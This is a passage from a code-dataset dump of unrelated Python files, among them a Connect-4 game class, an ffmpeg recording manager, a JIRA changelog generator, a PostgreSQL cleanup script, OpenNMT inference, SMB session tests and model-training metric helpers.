0\nratio = 0\nheight = 0\nwidth = 0\nwith open(\"gamesettings.txt\", \"r\") as f:\n ratio = float(f.readline())\n height = int(f.readline())\n width = int(ratio*height)\nclass Pion:\n # changé\n def __init__(self,x,y,id):\n self.x = x\n self.y = y\n self.id = id\n self.sprite = Sprite()\n\n self.sprite.texture = fallingSprites[id-1][0]\n self.sprite.scale = width * 0.19 / 853\n self.sprite.center_x = self.x * (width*64/853) + (width*32/853) + ((width )//2 - (WIDTH*(width*64/853) // 2)) + (width*5/853) + SHIFT\n self.sprite.center_y = 0\n self.sprite.change_x = 0\n self.sprite.change_y = 0\n self.accel = 1\n self.pose = False\n self.gagnant = False\n self.textI = 0\n self.compteur = 0\n self.fall = False\n \n def __str__(self):\n return '['+str(self.x)+','+str(self.y)+']'\n #retourne le nombre de pions alignés dans la direction (direction)\n def alignement(self,direction,pions):\n for pion in self.pionsVoisins(pions):\n if(pion.x == self.x + direction[0] and pion.y == self.y + direction[1]):\n return 1 + pion.alignement(direction,pions) \n return 1\n def alignement2(self,direction,pions,grille):\n for pion in self.pionsVoisins(pions):\n if(pion.x == self.x + direction[0] and pion.y == self.y + direction[1]):\n return (1 + pion.alignement2(direction,pions,grille)[0],pion.alignement2(direction,pions,grille)[1])\n for coup in grille.coupsPossibles():\n if(self.x+direction[0] == coup and self.y+direction[1] == grille.colonnes[self.x+direction[0]].caseDisponible() ):\n return (1,True)\n return (1,False)\n def pionsAlignes(self,direction,pions):\n alignement = []\n alignement.append(self)\n for pion in self.pionsVoisins(pions):\n if(pion.x == self.x + direction[0] and pion.y == self.y + direction[1]):\n return alignement + pion.pionsAlignes(direction,pions)\n return alignement\n #retourne tous les pions voisins appartenant à \"pions\"\n def pionsVoisins(self,pions):\n voisins = []\n for pion in pions: \n voisinage = (abs(pion.y - self.y) < 2) and (abs(pion.x - self.x) < 2)\n samePosition = (pion.x == self.x and pion.y == self.y )\n if (voisinage and not samePosition): voisins.append(pion)\n return voisins\n # ajouté\n def settled(self,grille):\n derniereCase = self.y+1 > grille.height-1\n return derniereCase or not grille.colonnes[self.x].cases[self.y+1] == 0\n # ajouté\n def update(self,grille):\n while(not self.settled(grille)):\n grille.colonnes[self.x].cases[self.y] = 0\n self.y+=1\n grille.colonnes[self.x].cases[self.y] = self.id\n def nowfall(self):\n self.fall = True\n self.y = 10\n self.sprite.change_y = 0\n def spriteUpdate(self,grille):\n casey = grille.height - (self.sprite.center_y+(width*32/853)) // (width*64//853)\n if(not self.pose or self.fall):\n if(casey < self.y+1):\n self.accel = 0.2\n self.sprite.change_y -= self.accel*2\n self.sprite.center_y += self.sprite.change_y\n else:\n self.sprite.center_y = (grille.height - self.y) * (width*64/853) - (width*32/853) + (width*5/853)\n \n self.accel = 0\n self.pose = True\n\n def breakPions(self,grille):\n i = 0\n while(not self.y-i <= 0 and i<=3):\n if(not grille.colonnes[self.x].cases[self.y-i-1] == 0):\n self.sprite.texture = brokenSprites[self.id-1][i]\n self.sprite.scale = width * 0.19 / 853\n i+=1\n def brille(self):\n self.compteur += 1\n if(self.compteur%3 == 0): self.textI +=1\n if(self.textI >= 9): self.textI = 0\n self.sprite.texture = win[self.id-1][self.textI]\n self.sprite.scale = width * 0.19 / 853\n","sub_path":"bitmapped/P4 Classes + Sprites/Pion.py","file_name":"Pion.py","file_ext":"py","file_size_in_byte":5085,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"588341254","text":"#regular expression starting with a ending with b\n\nimport re\n\nn=input(\"enter\")\nx=\"^a[a-zA-Z0-9\\W]*b$\"\nmatch=re.fullmatch(x,n)\nif match is not None:\n print(\"valid\")\nelse:\n print(\"invalid\")","sub_path":"regular_exprssion/abex.py","file_name":"abex.py","file_ext":"py","file_size_in_byte":193,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"565822785","text":"import subprocess\nimport logging\nimport datetime\nimport os.path\nimport shlex\nimport time\nimport lib.connection as Connection\nfrom gi.repository import GObject\nimport copy\n\n# TODO: move templates to config file\nffmpegtemplate = \"\"\"ffmpeg -y -nostdin \\\n{inputs} \\\n-ac 2 -aspect 16:9 \\\n{videotracks} \\\n{audiotracks} \\\n-flags +global_header -flags +ilme+ildct \\\n-f segment -segment_time 180 -segment_format mpegts {filename}-%d.ts\"\"\"\nvideotracktemplate = \"-map {id}:v -c:v:{id} mpeg2video -pix_fmt:v:{id} yuv420p -qscale:v:{id} 2 -qmin:v:{id} 2 -qmax:v:{id} 7 -keyint_min 0 -bf:{id} 0 -g:{id} 0 -intra:{id} -maxrate:{id} 90M \"\naudiotracktemplate = \"-map {id}:a -c:a:{id} mp2 -b:a:{id} 192k -ac:a:{id} 2 -ar:a:{id} 48000 \"\ninputtemplate = \"-i tcp://{host}:{port} \"\nfilenameTemplate = \"voctorec_{year}-{month}-{day}_{hour}-{minute}-{second}\"\n\nclass MultiTrackRec:\n def __init__(self):\n self.recording = False\n self.curTime = \"\"\n self.curBitrate = \"\"\n self.curSize = \"\"\n self.ffmpegProcess = None\n self.videotracks = list()\n self.audiotracks = list()\n self.segmented = True\n self.segment_time = 180\n self.log = logging.getLogger(\"multitrackrec\")\n self.log.info(\"MultiTrackRecorder Initialized\")\n self.basepath = \"/home/zoadmin/record/\"\n self.folderpath = None\n\n def add_video_track(self, port, id, name):\n track = {\"id\": int(id), \"name\": str(name), \"port\": int(port)}\n self.videotracks.append(track)\n self.log.info(\"Added Videotrack {name}\".format(name=name))\n self.log.debug(\"Track: \" + str(track))\n\n def add_audio_track(self, id, name):\n track = {\"id\": int(id), \"name\": str(name)}\n self.audiotracks.append(track)\n self.log.info(\"Added Audiotrack {name}\".format(name=name))\n self.log.debug(\"Track: \" + str(track))\n\n def start_recording(self):\n\n self.log.info('starting recording')\n\n date = datetime.datetime.now()\n\n foldername = filenameTemplate.format(year=date.year, month=date.month, day=date.day, hour=date.hour,\n minute=date.minute, second=date.second)\n foldernamecopy = copy.copy(foldername)\n self.log.debug(foldername)\n self.log.debug(self.basepath)\n i = 0\n folderpath = self.basepath + foldername\n while os.path.exists(folderpath):\n folderpath = self.basepath + foldernamecopy + \"_\" + str(i)\n i += 1\n\n self.log.info(\"Creating Folder \" + folderpath)\n os.mkdir(folderpath)\n\n\n cmd = self.get_ffmpeg_str(folderpath + \"/segment\")\n parsed = shlex.split(cmd)\n self.log.debug(\"Parsed cmd: \" + str(parsed))\n self.folderpath = folderpath\n\n if not self.ffmpegProcess:\n self.log.info(\"Starting FFmpeg Recording Process\")\n self.ffmpegProcess = subprocess.Popen(parsed, stdout=subprocess.PIPE, stderr=subprocess.PIPE, universal_newlines=True)\n\n else:\n self.log.error(\"Error: Process already running / exited unexpectedly. Restarting instead.\")\n self.ffmpegProcess.terminate()\n self.ffmpegProcess = None\n self.start_recording()\n self.recording = True\n Connection.send(\"message\", \"rec_running\")\n GObject.io_add_watch(self.ffmpegProcess.stderr, GObject.IO_IN, self.on_data)\n\n def stop_recording(self):\n self.ffmpegProcess.terminate()\n self.ffmepgProcess = None\n self.recording = False\n Connection.send(\"message\", \"rec_stop\")\n\n def on_data(self, source, _, *args):\n line = source.readline()\n line = line.split()\n self.log.debug(line)\n for l in line:\n if \"time=\" in l:\n self.curTime = l[5:]\n a = subprocess.run(['du', '-h', '-s', self.folderpath], stdout=subprocess.PIPE)\n b = subprocess.run(['df', '-h', '--output=avail', '/dev/sda1'], stdout=subprocess.PIPE)\n self.curSize = str(a.stdout.split()[0], encoding='utf-8').replace(',', '.')\n self.availSize = str(b.stdout.split()[1], encoding='utf-8')\n self.log.debug(\"Time: {}, Avail: {}, Size: {}\".format(self.curTime, self.availSize, self.curSize))\n Connection.send(\"message\", \"recstatus,{},{},{}\".format(self.curTime, self.availSize, self.curSize))\n return True\n\n def get_ffmpeg_str(self, name):\n audioStr = \"\"\n videoStr = \"\"\n inputStr = \"\"\n for track in self.videotracks:\n videoStr += videotracktemplate.format(id=track[\"id\"])\n inputStr += inputtemplate.format(host=\"localhost\", port=track[\"port\"])\n for track in self.audiotracks:\n audioStr += audiotracktemplate.format(id=track[\"id\"])\n date = datetime.date.today()\n time = datetime.time()\n\n ffstr = ffmpegtemplate.format(inputs=inputStr, videotracks=videoStr, audiotracks=audioStr, filename=name)\n self.log.debug(\"FFmpeg String generated: \" + ffstr)\n return ffstr\n","sub_path":"lib/multitrackrec.py","file_name":"multitrackrec.py","file_ext":"py","file_size_in_byte":5022,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"154021946","text":"#!/usr/bin/python python\n# -*- coding:utf-8 -*-\n\nimport urllib2\nimport urlparse\n\nproxy = ''\nurl = ''\nrequest = ''\n\nopener = urllib2.build_opener()\n\nproxy_params = {urlparse.urlparse(url).scheme:proxy}\n\nopener.add_handler(urllib2.ProxyHandler(proxy_params))\n\nresponse = opener.open(request)\n","sub_path":"Chapter 1: Introduction to Web Scraping/support_proxy_crawler.py","file_name":"support_proxy_crawler.py","file_ext":"py","file_size_in_byte":291,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"1980242","text":"#!/usr/bin/env python\n\nimport jirautil\nimport config\n\nimport jinja2\n\nimport argparse\nfrom datetime import *\n\ndef get_command_line_arguments():\n parser = argparse.ArgumentParser(description='Changelog generator for JIRA.', prefix_chars='-')\n parser.add_argument('version', help='versions to get issues from')\n parser.add_argument('-t', metavar='template', dest='template', default='changelog.tmpl',\n help='template file in templates/ directory')\n parser.add_argument('-o', metavar='output_file', dest='output_file', default='changelog.html',\n help='path to output file')\n\n return parser.parse_args()\n\n\ndef write_to_file(filename, content):\n with open(filename, 'w') as the_file:\n the_file.write(content)\n\n\ndef sort_on_issuetype(issue):\n types = ['New Feature', 'Improvement', 'Bug', 'Sub-task', 'Test']\n return types.index(issue.issuetype)\n\n\ndef sort_on_priority(issue):\n return int(issue.jira_issue.fields.priority.id)\n\n\ndef issue_wanted_in_changelog(issue):\n return (issue.issuetype in ['New Feature', 'Improvement', 'Bug']\n and issue.release_notes\n and issue.release_notes.lower() not in ['ingen', 'none'])\n\n\ndef translate(string):\n words = {'New Feature': 'Ny funksjonalitet',\n 'Improvement': 'Forbredring',\n 'Bug': 'Feilretting',\n 'Task': 'Oppgave'}\n\n return words[string]\n\n\nif __name__ == '__main__':\n\n args = get_command_line_arguments()\n\n print('Generating change log for version \"' + args.version + '\"...')\n\n jirautil = jirautil.JiraUtil(config.SERVER_URL, config.USER_NAME, config.USER_PASSWORD)\n\n env = jinja2.Environment(loader=jinja2.FileSystemLoader('templates'), trim_blocks=True, lstrip_blocks=True)\n env.filters['translate'] = translate\n template = env.get_template(args.template)\n\n issues = jirautil.issues_for_version(args.version)\n\n issues = list(filter(issue_wanted_in_changelog, issues))\n issues = sorted(issues, key=lambda issue: (sort_on_issuetype(issue), sort_on_priority(issue)))\n\n html = template.render(\n issues=issues,\n version=args.version,\n time_generated=datetime.now())\n\n write_to_file(args.output_file, html)\n","sub_path":"jira/changelog.py","file_name":"changelog.py","file_ext":"py","file_size_in_byte":2246,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"382336014","text":"#!/Users/florianpilz/gocept/python2.7/bin/python\n\nimport subprocess\nimport re\nimport argparse\n\nparser = argparse.ArgumentParser(description='Remove all PostgreSQL whose name'\n ' begins with the given prefix')\nparser.add_argument('prefix', help='Prefix used to match DBs')\nparser.add_argument(\n '-n', '--dry', action=\"store_true\",\n help='Only show which DBs would be removed, but do not perform removal')\n\noptions = parser.parse_args()\ndb_list = subprocess.check_output(\"psql -l\", shell=True)\nfor entry in db_list.split('\\n'):\n if not entry:\n continue\n db_name = re.sub('\\s+', ' ', entry).strip().split()[0]\n if not db_name.startswith(options.prefix):\n continue\n print('dropdb {}'.format(db_name))\n if not options.dry:\n subprocess.check_output(['dropdb', db_name])\n","sub_path":"bin/dropdbs-with-prefix.py","file_name":"dropdbs-with-prefix.py","file_ext":"py","file_size_in_byte":850,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"322634632","text":"import os\nimport argparse\n\n\nimport tensorflow as tf\nimport opennmt as onmt\n\nfrom opennmt import constants\nfrom opennmt.utils import decay\nfrom opennmt.utils import losses\nfrom opennmt.utils import misc\nfrom opennmt.utils import optim\n\nimport sys\n\nmode = tf.estimator.ModeKeys.PREDICT\n\ndef show_usage():\n print(\"Runs the specified model interactively.\")\n print()\n print(\"Usage :\")\n print()\n print(\"python.exe infer_test.py RUN_DIR\")\n print()\n print(\"E.g.\")\n print()\n print(\"python.exe infer_test.py run-eng-logic\")\n\nif(len(sys.argv) == 2):\n RUN_DIR = str(sys.argv[1])\nelse:\n show_usage()\n exit()\n\nBASE_EXPORT_PATH = \".\\\\\" + RUN_DIR + \"\\\\export\\\\latest\"\n\nif not os.path.exists(BASE_EXPORT_PATH) :\n print(f\"Path {BASE_EXPORT_PATH} doesn't exist. Exiting.\")\n exit()\n\nexport_folders = os.listdir(BASE_EXPORT_PATH)\n\nif len(export_folders) == 0 :\n print(f\"Path {BASE_EXPORT_PATH} doesn't contain any export folders. Exiting.\")\n exit()\n\n# Find latest export folder.\nlatest_export_folder_as_int = 0\nlatest_export_folder = \"\"\n\nfor export_folder in export_folders :\n folder_name_as_int = int(export_folder)\n \n if folder_name_as_int > latest_export_folder_as_int:\n latest_export_folder_as_int = folder_name_as_int\n latest_export_folder = export_folder\n\nif latest_export_folder_as_int == 0:\n print(\"Couldn't find latest export folder. Exiting.\")\n exit()\n\nexport_dir_path = BASE_EXPORT_PATH + \"\\\\\" + latest_export_folder\n\nprint(f\"Using export path {export_dir_path}.\")\n\nwith tf.Session() as sess:\n meta_graph_def = tf.saved_model.loader.load(\n sess, [tf.saved_model.tag_constants.SERVING], export_dir_path)\n \n signature_def = meta_graph_def.signature_def[\"serving_default\"]\n\n input_tokens = signature_def.inputs[\"tokens\"].name\n input_length = signature_def.inputs[\"length\"].name\n output_tokens = signature_def.outputs[\"tokens\"].name\n output_length = signature_def.outputs[\"length\"].name\n\n print(\"\\exit or \\quit to exit\")\n\n while True:\n text = input(\"Input > \")\n \n if(text == \"\\exit\" or text == \"\\quit\"):\n break\n \n split = text.split(' ')\n\n inputs = {\n input_tokens: [\n split],\n input_length: [len(split)]\n }\n \n batch_tokens, batch_length = sess.run(\n [output_tokens, output_length], feed_dict=inputs)\n \n for tokens, length in zip(batch_tokens, batch_length):\n tokens, length = tokens[0], length[0] # Take the best hypothesis.\n length -= 1 # Ignore token.\n \n token_list = tokens[:length].tolist()\n translation=\"\"\n for token in token_list:\n translation += token.decode(\"utf-8\") + \" \"\n \n translation = translation.strip()\n \n print(\"Input > \" + translation)\n \n \n","sub_path":"OpenNMT-tf/7-logic-no-examples/infer.py","file_name":"infer.py","file_ext":"py","file_size_in_byte":2932,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"333716524","text":"class Solution:\n def findLength(self, nums1: List[int], nums2: List[int]) -> int:\n if nums1 == nums2: #The trivial case where the two are equal\n return len(nums1)\n else:\n maximum = 0 #Storage used to find the longest subarray\n \n #This next section of code initializes the dp array which will contain values of the two given arrays plus enough space to check for subarrays.\n dp = [[0 for i in range(len(nums1) + 1)] for j in range(len(nums2) + 1)]\n for i in range(len(nums1)):\n dp[0][i + 1] = nums1[i]\n for i in range(len(nums2)):\n dp[i + 1][0] = nums2[i]\n \n #In order to populate the subarray we have to check two things. First, if the values of the row and column header are equal, we know that we have a match.\n #We also need to check whether that set is part of an existing subarray. In order to do this, we check the relationship between the diagonally-placed cell.\n #This cell would represent the last number or section of the subarray, if this has a number, we add it to the current cell since we know that is a continuation of\n #an existing array. If it is not, we know that it starts a new subarray. We fill out the entire dp matrix and use it to find the maximum length.\n for i in range(1, len(nums1) + 1):\n for j in range(1, len(nums2) + 1):\n if dp[0][i] == dp[j][0]:\n dp[j][i] = 1\n if i - 1 > 0 and j - 1 > 0:\n dp[j][i] += dp[j-1][i-1]\n if dp[j][i] > maximum:\n maximum = dp[j][i]\n return maximum #We return maximum to solve the solution.\n","sub_path":"MaximumLengthofRepeatedSubarray.py","file_name":"MaximumLengthofRepeatedSubarray.py","file_ext":"py","file_size_in_byte":1809,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"214341107","text":"#\n# Copyright (c) 2013-2020, Dell Inc. or its subsidiaries.\n# All rights reserved.\n# See file LICENSE for licensing information.\n#\n# Module Name:\n#\n# session.py\n#\n# Abstract:\n#\n# Session setup tests\n#\n# Authors: Brian Koropoff (brian.koropoff@emc.com)\n#\n\nimport pike.test\n\n\nclass SessionTest(pike.test.PikeTest):\n # Log off a session\n def test_session_logoff(self):\n chan, tree = self.tree_connect()\n chan.logoff()\n\n def test_session_multiplex(self):\n chan, tree = self.tree_connect()\n chan2 = chan.connection.session_setup(self.creds)\n chan3 = chan.connection.session_setup(self.creds)\n self.assertEqual(chan.connection, chan2.connection)\n self.assertEqual(chan2.connection, chan3.connection)\n self.assertNotEqual(chan.session, chan2.session)\n self.assertNotEqual(chan2.session, chan3.session)\n self.assertNotEqual(chan.session.session_id, chan2.session.session_id)\n self.assertNotEqual(chan2.session.session_id, chan3.session.session_id)\n self.assertNotEqual(chan.session.session_key, chan2.session.session_key)\n self.assertNotEqual(chan2.session.session_key, chan3.session.session_key)\n tree2 = chan2.tree_connect(self.share)\n tree3 = chan3.tree_connect(self.share)\n chan3.logoff()\n chan2.logoff()\n chan.logoff()\n","sub_path":"src/pike/test/session.py","file_name":"session.py","file_ext":"py","file_size_in_byte":1365,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"418730021","text":"# File: writeWave.py\n# Author: Wayne Snyder\n# Date: 1/5/14\n# Description: This is a prototypical Python 3 program for writing mono wave file.\n# You must create an array of shorts and then you can write them out to a file.\n# If you want to use this for Python 2.7 just change input to raw_input in main(). \n# Citation: This is a modified version of the program synth.py from A Concise Introduction\n# to Programming in Python, p.129.\n\nimport array\nimport contextlib\nimport wave\nfrom math import sin, pi\n\n# Global parameters\n\nnumChannels = 1 # mono\nsampleWidth = 2 # in bytes, a 16-bit short\nsampleRate = 44100\nMAX_AMP = 2**(8*sampleWidth - 1) - 1 #maximum amplitude is 2**15 - 1 = 32767 \n\n# Take an array of shorts and write it out to a mono wave file\n\ndef writewav(fname, data, params):\n with contextlib.closing(wave.open(fname, \"w\")) as f:\n f.setparams(params)\n f.writeframes(data.tostring())\n print(fname + \" written.\")\n \n\ndef main():\n\n # parameters for this file\n\n lengthSeconds = 6 \n numSamples = sampleRate * lengthSeconds\n\n outfileName = input(\"Enter the name of the output .wav file: \")\n\n # Here is where you can create an array of shorts which will be written out\n\n data = array.array(\"h\")\n\n # Example: Create a sin wave of frequency A = 440 Hz\n\n for i in range( numSamples ):\n \n # 2 * pi * frequency is the angular velocity in radians/sec\n # multiplying this by i / sampleRate incrementally creates angle at each sample\n # and then sin ( angle ) => amplitude at this sample\n\n sample = MAX_AMP * sin( 2 * pi * 440.0 * i / sampleRate ) \n\n data.append( int( sample ) )\n\n\n params = [numChannels, sampleWidth, sampleRate , len(data), \"NONE\", None]\n writewav(outfileName, data, params)\n\n\nmain()\n","sub_path":"Audio/writeWave.py","file_name":"writeWave.py","file_ext":"py","file_size_in_byte":1860,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"230057085","text":"import io\nimport itertools\nimport json\nimport os\n\n# os.environ['CUDA_VISIBLE_DEVICES'] = '0,1'\nimport random\nimport re\nimport shutil\nimport textwrap\n\nimport cv2\nimport matplotlib\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport pandas as pd\nimport torch\nfrom sklearn.metrics import confusion_matrix\nfrom termcolor import colored\n\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport imgaug as ia\nfrom scipy.special import softmax\nfrom sklearn.metrics import classification_report\n\ndef check_manual_seed(seed):\n \"\"\"\n If manual seed is not specified, choose a random one and notify it to the user\n \"\"\"\n seed = seed\n random.seed(seed)\n np.random.seed(seed)\n torch.manual_seed(seed)\n torch.cuda.manual_seed(seed)\n ia.seed(seed)\n torch.cuda.manual_seed_all(seed)\n torch.backends.cudnn.benchmark = False\n torch.backends.cudnn.deterministic = True\n\n print('Using manual seed: {seed}'.format(seed=seed))\n return\n\n\ndef check_log_dir(log_dir):\n # check if log dir exist\n if os.path.isdir(log_dir):\n color_word = colored('WARMING', color='red', attrs=['bold', 'blink'])\n print('%s: %s exist!' % (color_word, colored(log_dir, attrs=['underline'])))\n while (True):\n print('Select Action: d (delete)/ q (quit)', end='')\n key = input()\n if key == 'd':\n shutil.rmtree(log_dir)\n break\n elif key == 'q':\n exit()\n else:\n color_word = colored('ERR', color='red')\n print('---[%s] Unrecognized character!' % color_word)\n return\n\n\ndef plot_confusion_matrix(conf_mat, label):\n \"\"\"\n Parameters:\n title='Confusion matrix' : Title for your matrix\n tensor_name = 'MyFigure/image' : Name for the output summay tensor\n Returns:\n summary: image of plot figure\n Other items to note:\n - Depending on the number of category and the data , you may have to modify the figzie, font sizes etc.\n - Currently, some of the ticks dont line up due to rotations.\n \"\"\"\n\n cm = conf_mat\n\n np.set_printoptions(precision=2) # print numpy array with 2 decimal places\n\n fig = matplotlib.figure.Figure(figsize=(7, 7), dpi=320, facecolor='w', edgecolor='k')\n ax = fig.add_subplot(1, 1, 1)\n im = ax.imshow(cm, cmap='Oranges')\n\n classes = [re.sub(r'([a-z](?=[A-Z])|[A-Z](?=[A-Z][a-z]))', r'\\1 ', x) for x in label]\n classes = ['\\n'.join(textwrap.wrap(l, 40)) for l in classes]\n\n tick_marks = np.arange(len(classes))\n\n ax.set_xlabel('Predicted', fontsize=7)\n ax.set_xticks(tick_marks)\n c = ax.set_xticklabels(classes, fontsize=4, rotation=-90, ha='center')\n ax.xaxis.set_label_position('bottom')\n ax.xaxis.tick_bottom()\n\n ax.set_ylabel('True Label', fontsize=7)\n ax.set_yticks(tick_marks)\n ax.set_yticklabels(classes, fontsize=4, va='center')\n ax.yaxis.set_label_position('left')\n ax.yaxis.tick_left()\n\n for i, j in itertools.product(range(cm.shape[0]), range(cm.shape[1])):\n ax.text(j, i, format(cm[i, j], 'd') if cm[i, j] != 0 else '.',\n horizontalalignment=\"center\", fontsize=6,\n verticalalignment='center', color=\"black\")\n fig.set_tight_layout(True)\n\n fig.canvas.draw()\n w, h = fig.canvas.get_width_height()\n\n # get PNG data from the figure\n png_buffer = io.BytesIO()\n fig.canvas.print_png(png_buffer)\n png_encoded = png_buffer.getvalue()\n png_buffer.close()\n\n return png_encoded\n\n\n####\ndef update_log(output, epoch, net_name, prefix, color, tfwriter, log_file, logging):\n # print values and convert\n max_length = len(max(output.keys(), key=len))\n for metric in output:\n key = colored(prefix + '-' + metric.ljust(max_length), color)\n print('------%s : ' % key, end='')\n if metric not in ['conf_mat_c', 'conf_mat_r', 'box_plot_data']:\n print('%0.7f' % output[metric])\n elif metric == 'conf_mat_c':\n conf_mat_c = output['conf_mat_c'] # use pivot to turn back\n conf_mat_c_df = pd.DataFrame(conf_mat_c)\n conf_mat_c_df.index.name = 'True'\n conf_mat_c_df.columns.name = 'Pred'\n output['conf_mat_c'] = conf_mat_c_df\n print('\\n', conf_mat_c_df)\n elif metric == 'conf_mat_r':\n conf_mat_r = output['conf_mat_r'] # use pivot to turn back\n conf_mat_r_df = pd.DataFrame(conf_mat_r)\n conf_mat_r_df.index.name = 'True'\n conf_mat_r_df.columns.name = 'Pred'\n output['conf_mat_r'] = conf_mat_r_df\n print('\\n', conf_mat_r_df)\n elif metric == 'box_plot_data':\n box_plot_data = output['box_plot_data'] # use pivot to turn back\n box_plot_data_df = pd.DataFrame(box_plot_data)\n box_plot_data_df.columns.name = 'Pred'\n output['box_plot_data'] = box_plot_data_df\n\n if not logging:\n return\n\n # create stat dicts\n stat_dict = {}\n for metric in output:\n if metric not in ['conf_mat_c', 'conf_mat_r', 'box_plot_data']:\n metric_value = output[metric]\n elif metric == 'conf_mat_c':\n conf_mat_df = output['conf_mat_c'] # use pivot to turn back\n conf_mat_df = conf_mat_df.unstack().rename('value').reset_index()\n conf_mat_df = pd.Series({'conf_mat_c': conf_mat_c}).to_json(orient='records')\n metric_value = conf_mat_df\n elif metric == 'conf_mat_r':\n conf_mat_regres_df = output['conf_mat_r'] # use pivot to turn back\n conf_mat_regres_df = conf_mat_regres_df.unstack().rename('value').reset_index()\n conf_mat_regres_df = pd.Series({'conf_mat_r': conf_mat_r}).to_json(orient='records')\n metric_value = conf_mat_regres_df\n elif metric == 'box_plot_data':\n box_plot_data_df = pd.Series({'box_plot_data': box_plot_data}).to_json(orient='records')\n metric_value = box_plot_data_df\n stat_dict['%s-%s' % (prefix, metric)] = metric_value\n\n # json stat log file, update and overwrite\n with open(log_file) as json_file:\n json_data = json.load(json_file)\n\n current_epoch = str(epoch)\n current_model = str(net_name)\n if current_epoch in json_data:\n old_stat_dict = json_data[current_model]\n stat_dict.update(old_stat_dict)\n current_epoch_dict = {current_model: stat_dict}\n json_data.update(current_epoch_dict)\n\n with open(log_file, 'w') as json_file:\n json.dump(json_data, json_file)\n\n # log values to tensorboard\n for metric in output:\n if metric not in ['conf_mat_c', 'conf_mat_r', 'box_plot_data']:\n tfwriter.add_scalar(prefix + '-' + metric, output[metric], current_epoch)\n\n\n####\ndef log_train_ema_results(engine, info):\n \"\"\"\n running training measurement\n \"\"\"\n training_ema_output = engine.state.metrics #\n training_ema_output['lr'] = float(info['optimizer'].param_groups[0]['lr'])\n update_log(training_ema_output, engine.state.epoch, 'train-ema', 'green',\n info['tfwriter'], info['json_file'], info['logging'])\n\n\n####\ndef process_accumulated_output_multi(output, batch_size, nr_classes):\n #\n def uneven_seq_to_np(seq):\n item_count = batch_size * (len(seq) - 1) + len(seq[-1])\n cat_array = np.zeros((item_count,) + seq[0][0].shape, seq[0].dtype)\n # BUG: odd len even\n if len(seq) < 2:\n return seq[0]\n for idx in range(0, len(seq) - 1):\n cat_array[idx * batch_size:\n (idx + 1) * batch_size] = seq[idx]\n cat_array[(idx + 1) * batch_size:] = seq[-1]\n return cat_array\n\n proc_output = dict()\n true = uneven_seq_to_np(output['true'])\n # threshold then get accuracy\n if 'logit_c' in output.keys():\n logit_c = uneven_seq_to_np(output['logit_c'])\n pred_c = np.argmax(logit_c, axis=-1)\n # pred_c = [covert_dict[pred_c[idx]] for idx in range(len(pred_c))]\n acc_c = np.mean(pred_c == true)\n print(acc_c)\n # confusion matrix\n conf_mat_c = confusion_matrix(true, pred_c, labels=np.arange(nr_classes))\n proc_output.update(acc_c=acc_c, conf_mat_c=conf_mat_c,)\n if 'logit_r' in output.keys():\n logit_r = uneven_seq_to_np(output['logit_r'])\n label = np.transpose(np.array([[0., 1., 2., 3.]]).repeat(len(true), axis=0), (1, 0))\n pred_r = np.argmin(abs((logit_r - label)), axis=0)\n # pred_r = [covert_dict[pred_r[idx]] for idx in range(len(pred_r))]\n acc_r = np.mean(pred_r == true)\n # print(acc_r)\n # confusion matrix\n conf_mat_r = confusion_matrix(true, pred_r, labels=np.arange(nr_classes))\n proc_output.update(acc_r=acc_r, conf_mat_r=conf_mat_r)\n\n # proc_output.update(box_plot_data=np.concatenate(\n # [true[np.newaxis, :], pred_c[np.newaxis, :], pred_r[np.newaxis, :], logit_r.transpose(1, 0)], 0))\n return proc_output\n\ndef process_accumulated_output_multi_mix(output, batch_size, nr_classes):\n #\n def uneven_seq_to_np(seq):\n item_count = batch_size * (len(seq) - 1) + len(seq[-1])\n cat_array = np.zeros((item_count,) + seq[0][0].shape, seq[0].dtype)\n # BUG: odd len even\n if len(seq) < 2:\n return seq[0]\n for idx in range(0, len(seq) - 1):\n cat_array[idx * batch_size:\n (idx + 1) * batch_size] = seq[idx]\n cat_array[(idx + 1) * batch_size:] = seq[-1]\n return cat_array\n\n proc_output = dict()\n true = uneven_seq_to_np(output['true'])\n # threshold then get accuracy\n if 'logit_c' in output.keys():\n logit_c = uneven_seq_to_np(output['logit_c'])\n\n pred_c = np.argmax(logit_c, axis=-1)\n # pred_c = [covert_dict[pred_c[idx]] for idx in range(len(pred_c))]\n acc_c = np.mean(pred_c == true)\n print('acc_c',acc_c)\n # print(classification_report(true, pred_c, labels=[0, 1, 2, 3]))\n # confusion matrix\n conf_mat_c = confusion_matrix(true, pred_c, labels=np.arange(nr_classes))\n proc_output.update(acc_c=acc_c, conf_mat_c=conf_mat_c,)\n if 'logit_r' in output.keys():\n logit_r = uneven_seq_to_np(output['logit_r'])\n label = np.transpose(np.array([[0., 1., 2., 3.]]).repeat(len(true), axis=0), (1, 0))\n pred_r = np.argmin(abs((logit_r - label)), axis=0)\n # pred_r = [covert_dict[pred_r[idx]] for idx in range(len(pred_r))]\n acc_r = np.mean(pred_r == true)\n print('acc_r',acc_r)\n # print(classification_report(true, pred_r, labels=[0, 1, 2, 3]))\n # confusion matrix\n conf_mat_r = confusion_matrix(true, pred_r, labels=np.arange(nr_classes))\n proc_output.update(acc_r=acc_r, conf_mat_r=conf_mat_r)\n\n # if ('logit_r' in output.keys()) and ('logit_c' in output.keys()):\n # a = abs((logit_r - label)).transpose(1, 0)\n # prob_r = softmax(-a, 1)\n # logit_c +=prob_r\n # pred_c = np.argmax(logit_c, axis=-1)\n # acc_c = np.mean(pred_c == true)\n # print('acc_mix',acc_c)\n\n # proc_output.update(box_plot_data=np.concatenate(\n # [true[np.newaxis, :], pred_c[np.newaxis, :], 